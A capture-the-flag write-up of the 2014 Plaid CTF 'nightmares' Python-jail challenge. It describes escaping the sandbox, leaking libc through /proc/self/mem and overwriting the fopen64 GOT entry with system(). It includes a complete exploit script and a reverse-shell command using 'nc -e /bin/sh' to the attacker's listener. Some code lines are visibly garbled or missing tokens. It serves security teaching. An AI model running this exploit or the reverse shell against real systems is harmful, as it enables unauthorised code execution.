ROP your way out of Python Jail

By meta (and the rest of the Neg9 CTF cr3w)

2014 Plaid CTF - nightmares pwnables 375

The Plague is building an army of evil hackers, and they are starting off by teaching them python
with this simple service. Maybe if you could get full access to this system, at,
you would be able to find out more about The Plague's evil plans.

The Python Jail

Ahhh, another good Python jail - here we go again! The first thing the jail does is create a new thread that acquires the Python interpreter's import lock to prevent all other threads from importing modules until it is released. Naturally, since this is a jail, it's never released by the background thread. The chances of importing useful functionality look slim indeed. Next, like most of the jails from prior CTFs, the code deletes all references in the current namespace including modules, variables, and built-in functions. The only thing remaining are basic types, language keywords, and the stdout object.

#!/usr/bin/python -u
You may wish to refer to solutions to the pCTF 2013 "pyjail" problem if
you choose to attempt this problem, BUT IT WON'T HELP HAHAHA.

from imp import acquire_lock
from threading import Thread
from sys import modules, stdin, stdout

# No more importing!
x = Thread(target = acquire_lock, args = ())
del x
del acquire_lock
del Thread

# No more modules!
for k, v in modules.iteritems():
    if v == None: continue
    if k == '__main__': continue

del k, v

__main__ = modules['__main__']
del modules

# No more anything!
del __builtins__, __doc__, __file__, __name__, __package__

print >> stdout, "Get a shell. The flag is NOT in ./key, ./flag, etc."
while 1:
    exec 'print >> stdout, ' + stdin.readline() in {'stdout':stdout}

The first task was to play in the sandbox and see what we could access and feel out the restrictions. At least we can use alphanumeric characters this time! It looks like we can read and write from the filesystem easily enough. We also noticed that the program exits anytime there is nothing for exec to print or if an exception is thrown. The key limitation of this is that we can't assign variables which makes anything but a single statement with a printable return value fairly difficult. We could read and write anywhere the nightmares_ower user had permissions but we had no way to list directories so traversing the filesystem was a matter of guess-and-check. We spent some time reading and attempting to write to various config files looking for a way to execute code. The challenge makes it pretty clear that we aren't going to get the flag unless we can get a shell.

$ nc -v 9990
Connection to 9990 port [tcp/*] succeeded!
Get a shell. The flag is NOT in ./key, ./flag, etc.

<open file '<stdout>', mode 'w' at 0x7ffff7fa91e0>

<type 'tuple'>

(<type 'object'>,)

[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>,
<type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>,
<type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>,
<type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>,
<type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>,
<type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>,
<type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>,
<type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>,
<type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>,
<type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>,
<type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>,
<type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>,
<type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>,
<class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>,
<type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>,
<class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>,
<type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>,
<class 'codecs.IncrementalDecoder'>, <type '_thread._localdummy'>, <type 'thread._local'>,
<type 'thread.lock'>, <type 'collections.deque'>, <type 'deque_iterator'>, <type 'deque_reverse_iterator'>,
<type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>,
<type 'itertools.combinations'>, <type 'itertools.combinations_with_replacement'>, <type 'itertools.cycle'>,
<type 'itertools.dropwhile'>, <type 'itertools.takewhile'>, <type 'itertools.islice'>,
<type 'itertools.starmap'>, <type 'itertools.imap'>, <type 'itertools.chain'>, <type 'itertools.compress'>,
<type 'itertools.ifilter'>, <type 'itertools.ifilterfalse'>, <type 'itertools.count'>, <type 'itertools.izip'>,
<type 'itertools.izip_longest'>, <type 'itertools.permutations'>, <type 'itertools.product'>,
<type 'itertools.repeat'>, <type 'itertools.groupby'>, <type 'itertools.tee_dataobject'>, <type 'itertools.tee'>,
<type 'itertools._grouper'>, <type 'time.struct_time'>, <class 'threading._Verbose'>]

(t for t in (42).__class__.__base__.__subclasses__() if t.__name__ == 'zipimporter').next()
<type 'zipimport.zipimporter'>

list:x:38:38:Mailing List Manager:/var/list:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

x = 4
sys.excepthook is missing
lost sys.stderr

Who says Python can't ROP itself!?

At this point I realized we were going to have to something completely unconventional so I checked to see what was writable in /proc and began reading the proc man-page). Two things stand out immediately:

$ find /proc/self/ -type f -writable

$ ls -lh /proc/self/{mem,maps,exe,environ}
-r-------- 1 meta meta 0 Apr 14 23:25 /proc/self/environ
lrwxrwxrwx 1 meta meta 0 Apr 14 23:25 /proc/self/exe -> /bin/ls
-r--r--r-- 1 meta meta 0 Apr 14 23:25 /proc/self/maps
-rw------- 1 meta meta 0 Apr 14 23:25 /proc/self/mem

We were able to determine the memory page permissions by reading /proc/self/maps. This can also be used to find the address range for the stack and other things but that is only helpful if ASLR is disabled so we check that too.

$ nc -v 9990 [] 9990 (?) open
Get a shell. The flag is NOT in ./key, ./flag, etc.


00400000-00658000 r-xp 00000000 ca:00 9191                               /usr/bin/python2.7
00857000-00858000 r--p 00257000 ca:00 9191                               /usr/bin/python2.7
00858000-008c1000 rw-p 00258000 ca:00 9191                               /usr/bin/python2.7
008c1000-008d3000 rw-p 00000000 00:00 0
02317000-02431000 rw-p 00000000 00:00 0                                  [heap]
7f5a1e1ba000-7f5a1e1bb000 ---p 00000000 00:00 0
7f5a1e1bb000-7f5a1e9bb000 rw-p 00000000 00:00 0
7f5a1e9bb000-7f5a1e9d0000 r-xp 00000000 ca:00 131614                     /lib/x86_64-linux-gnu/
7f5a1e9d0000-7f5a1ebd0000 ---p 00015000 ca:00 131614                     /lib/x86_64-linux-gnu/
7f5a1ebd0000-7f5a1ebd1000 rw-p 00015000 ca:00 131614                     /lib/x86_64-linux-gnu/
7f5a1ebd1000-7f5a1ed53000 r-xp 00000000 ca:00 131172                     /lib/x86_64-linux-gnu/
7f5a1ed53000-7f5a1ef52000 ---p 00182000 ca:00 131172                     /lib/x86_64-linux-gnu/
7f5a1ef52000-7f5a1ef56000 r--p 00181000 ca:00 131172                     /lib/x86_64-linux-gnu/
7f5a1ef56000-7f5a1ef57000 rw-p 00185000 ca:00 131172                     /lib/x86_64-linux-gnu/
7f5a1ef57000-7f5a1ef5c000 rw-p 00000000 00:00 0
7f5a1ef5c000-7f5a1efdd000 r-xp 00000000 ca:00 131180                     /lib/x86_64-linux-gnu/
7f5a1efdd000-7f5a1f1dc000 ---p 00081000 ca:00 131180                     /lib/x86_64-linux-gnu/
7f5a1f1dc000-7f5a1f1dd000 r--p 00080000 ca:00 131180                     /lib/x86_64-linux-gnu/
7f5a1f1dd000-7f5a1f1de000 rw-p 00081000 ca:00 131180                     /lib/x86_64-linux-gnu/
7f5a1f1de000-7f5a1f1f4000 r-xp 00000000 ca:00 131514                     /lib/x86_64-linux-gnu/
7f5a1f1f4000-7f5a1f3f3000 ---p 00016000 ca:00 131514                     /lib/x86_64-linux-gnu/
7f5a1f3f3000-7f5a1f3f4000 r--p 00015000 ca:00 131514                     /lib/x86_64-linux-gnu/
7f5a1f3f4000-7f5a1f3f5000 rw-p 00016000 ca:00 131514                     /lib/x86_64-linux-gnu/
7f5a1f3f5000-7f5a1f3f7000 r-xp 00000000 ca:00 131646                     /lib/x86_64-linux-gnu/
7f5a1f3f7000-7f5a1f5f6000 ---p 00002000 ca:00 131646                     /lib/x86_64-linux-gnu/
7f5a1f5f6000-7f5a1f5f7000 r--p 00001000 ca:00 131646                     /lib/x86_64-linux-gnu/
7f5a1f5f7000-7f5a1f5f8000 rw-p 00002000 ca:00 131646                     /lib/x86_64-linux-gnu/
7f5a1f5f8000-7f5a1f5fa000 r-xp 00000000 ca:00 131187                     /lib/x86_64-linux-gnu/
7f5a1f5fa000-7f5a1f7fa000 ---p 00002000 ca:00 131187                     /lib/x86_64-linux-gnu/
7f5a1f7fa000-7f5a1f7fb000 r--p 00002000 ca:00 131187                     /lib/x86_64-linux-gnu/
7f5a1f7fb000-7f5a1f7fc000 rw-p 00003000 ca:00 131187                     /lib/x86_64-linux-gnu/
7f5a1f7fc000-7f5a1f813000 r-xp 00000000 ca:00 131612                     /lib/x86_64-linux-gnu/
7f5a1f813000-7f5a1fa12000 ---p 00017000 ca:00 131612                     /lib/x86_64-linux-gnu/
7f5a1fa12000-7f5a1fa13000 r--p 00016000 ca:00 131612                     /lib/x86_64-linux-gnu/
7f5a1fa13000-7f5a1fa14000 rw-p 00017000 ca:00 131612                     /lib/x86_64-linux-gnu/
7f5a1fa14000-7f5a1fa18000 rw-p 00000000 00:00 0
7f5a1fa18000-7f5a1fa38000 r-xp 00000000 ca:00 131650                     /lib/x86_64-linux-gnu/
7f5a1fab5000-7f5a1faf6000 rw-p 00000000 00:00 0
7f5a1faf7000-7f5a1fbaa000 rw-p 00000000 00:00 0
7f5a1fbab000-7f5a1fc32000 rw-p 00000000 00:00 0
7f5a1fc34000-7f5a1fc37000 rw-p 00000000 00:00 0
7f5a1fc37000-7f5a1fc38000 r--p 0001f000 ca:00 131650                     /lib/x86_64-linux-gnu/
7f5a1fc38000-7f5a1fc39000 rw-p 00020000 ca:00 131650                     /lib/x86_64-linux-gnu/
7f5a1fc39000-7f5a1fc3a000 rw-p 00000000 00:00 0
7ffffe1b9000-7ffffe1da000 rw-p 00000000 00:00 0                          [stack]
7ffffe1de000-7ffffe1df000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]


The stack is writable but not executable. Actually, no page is both writable and executable so that eliminates the potability of simply writing shellcode and jumping to it. Hence we will have to use return-oriented programming (ROP) or at least leverage those techniques. ASLR is also enabled so we will have to dynamically determine the address of libc (system). Luckily this last part wont be difficult because reading memory is so easy. At this point I did a quick check to verify that writing to /proc/self/mem would actually work.

$ ulimit -c unlimited
$ python
>>> from sys import stdout
>>> print stdout.__class__('/proc/self/maps').read()
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
>>> hex(0x7ffffffff000-0x7ffffffde000)
>>> mem = stdout.__class__('/proc/self/mem','wb')
>>> mem.write('A'*0x21000)
Segmentation fault (core dumped)

$ gdb -c core /usr/bin/python
Core was generated by `AAAAAAA'.
Program terminated with signal 11, Segmentation fault.
(gdb) bt
#0  0x00007ffff6991048 in write () from /lib/x86_64-linux-gnu/
#1  0x4141414141414141 in ?? ()
#2  0x4141414141414141 in ?? ()
#3  0x4141414141414141 in ?? ()

Woot, EIP! Now we need to get a copy of the libc and python binaries from the server so we can find addresses in the GOT that will let us determine the location of libc at runtime. We also need to choose a target to overwrite to redirect code execution to system('/bin/bash'). So, now we need to get a copy of the python and libc binaries from the server. After a few incomplete downloads we wrote a more robust script:

from socket import socket,timeout
from time import sleep

if __name__=='__main__':
    sock = socket()
    size = 1024
    # get the path to libc by reading /proc/self/maps
    filename = '/lib/x86_64-linux-gnu/'

    print sock.recv(1024)

    msg = """stdout.__class__('{f}').read()\n""".format(f=filename)

        # read all bytes very patiently
        block = sock.recv(size)
        data = ""
        while block:
            data += block
            block = sock.recv(size)

    except timeout:

        data += block

    data.strip('\x0a') # first attempt had issues

    with open('from_server/' + filename.split('/')[-1],'wb') as f:

    print str(len(data)), "bytes read"

After downloading and python from the server we can now have enough information to make the exploit work on the server. But which addresses should we use? There are many different ways to structure the exploit but ultimately we only care that it's reliable. Figuring out this step was a matter of running the python jail and experimenting with python commands while we watched the library calls with ltrace. The goal was to find a libc call we could trigger reliably without using functionality that we would need to read and write to memory. For example, the libc functions free() and strlen() would have been a bad choice because they are too prevalent and the program would Segfault before we were done setting up the exploit. The other thing that limited our options was the need to have the string "/bin/bash" be passed from python as the first parameter of the libc function. After some work we settled on fopen64().

$ python
Get a shell. The flag is NOT in ./key, ./flag, etc.

<open file '/tmp/foo', mode 'w' at 0x7ffff7fa95d0>

<open file '/proc/self/mem', mode 'wb' at 0x7ffff7fa95d0>

$ ltrace -ip `pgrep python` 2>&1 | grep fopen64
[0x56544d] fopen64("", "rb")        = 0x92c4a0
[0x4d00c5] fopen64("/usr/lib/python2.7/", "rb") = 0
[0x532d48] fopen64("/usr/lib/python2.7/threading.pyc", "rb") = 0xa463a0
[0x430f6f] fopen64("/tmp/foo", "w")              = 0xa44220
[0x430f6f] fopen64("/proc/self/mem", "wb")       = 0xa44220

When a program wants to call a library function, it calls a stub in the PLT instead because (the actual address of the function is not known until runtime). The code in the PLT jumps to an address contained in the GOT (which is updated at runtime, aka dynamic linking). In other words, the address of the system() function changes every time the program runs (ASLR) and is not filled out in the GOT until the first time system() is called.

In this case we want to read the runtime address of fopen64() from the GOT. The address of the GOT entry itself we can get from objdump (0x8588c0).

In order to understand the disassembly below one needs to be aware that AMD64 architecture has something called RIP Relative Addressing which makes code more position independent (PIC). Addresses can be referenced relative to the current RIP register value. So, instead of jumping to a fixed address you jump to the current position in the code plus an offset ($rip+0x43f8ba).

# Intel syntax
$ objdump -M intel -d -j .plt from_server/python | grep -A4 "<fopen64@plt>"
0000000000419000 <fopen64@plt>:
  419000:	ff 25 ba f8 43 00    	jmp    QWORD PTR [rip+0x43f8ba] # 8588c0 <_Py_ascii_whitespace+0x27ba20>
  419006:	68 18 01 00 00       	push   0x118
  41900b:	e9 60 ee ff ff       	jmp    417e70 <_init+0x10>

# AT&T syntax
$ objdump -d -j .plt from_server/python | grep -A4 "<fopen64@plt>"
0000000000419000 <fopen64@plt>:
  419000:   ff 25 ba f8 43 00       jmpq   *0x43f8ba(%rip) # 8588c0 <_Py_ascii_whitespace+0x27ba20>
  419006:   68 18 01 00 00          pushq  $0x118
  41900b:   e9 60 ee ff ff          jmpq   417e70 <_init+0x10>

$ ipython
In [1]: hex(0x419006 + 0x43f8ba)
Out[1]: '0x8588c0'

That's how calls to library functions work, but all we need for the exploit is the address in the GOT and the relative position of the functions in libc.

$ objdump -R from_server/python | grep fopen64
00000000008588c0 R_X86_64_JUMP_SLOT  fopen64

$ readelf -s from_server/ | egrep "(system)|(fopen64)"
  1304: 000000000003ff80    97 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
  1964: 00000000000686c0    10 FUNC    WEAK   DEFAULT   12 fopen64@@GLIBC_2.2.5

Here is how the final exploit will work:

  1. Connect to the python jail on the server and use python to read/write from /proc/self/mem
  2. Read the runtime address of fopen64() from the GOT (0x8588c0)
  3. Use this and the file offsets of fopen64() and system() to calcuate the runtime location of system()
  4. Replace the fopen64 entry in the GOT with the address of system()
  5. Call a python fuction that invokes fopen64 (now system) with '/bin/sh' as the first parameter

There is one remaining detail that we haven't addressed yet and that's bypassing the restrictions of the jail to actually accomplish the above. After some trial and error we settled on using list comprehension to overcome the restriction that we cant set variables. In this case, we can open a file, seek to a position, and then read (or write). The thing that was most problematic was the fact that see() doesn't return a handle to the file object. If it did, we could have done it all inline.

[(, for f in [stdout.__class__('/etc/passwd')]][0][1]

The Final Exploit

from socket import socket
from time import sleep
import struct
import sys

if __name__=='__main__':
	sock = socket()
	print sock.recv(1024)

	# read the GOT entry to get the address of fopen
	fopen_got_msg = """[(, for f in [stdout.__class__('/proc/self/mem')]][0][1]"""
	sock.send(fopen_got_msg + "\n")
	data = sock.recv(1024).strip('\x0a')
	fopen_addr = struct.unpack('<q', data[0:8])[0]
	print "fopen is at: ", hex(fopen_addr)

	# calculate the start of libc
	fopen_offset =  0x00000000000686c0
	system_offset = 0x000000000003ff80
	libc_start = fopen_addr - fopen_offset
	system_addr = libc_start + system_offset
	print "system is at:", hex(system_addr)

	sys_repr = repr(struct.pack('<q', system_addr))
	print sys_repr

	payload = """[(,f.write({sysrepr})) for f in [stdout.__class__('/proc/self/mem','wb')]][0][1]"""
	print payload

	# send final payload
	sock.send(payload + "\n")
	print sock.recv(1024)

	sock.send("""stdout.__class__('nc -e /bin/sh 9000')\n""")
	print sock.recv(1024)

	print sock.recv(1024)

meta@deathstar:~$ nc -v -l 9000
Connection from port 9000 [tcp/*] accepted

ls /home/

cd /home/nightmares_owner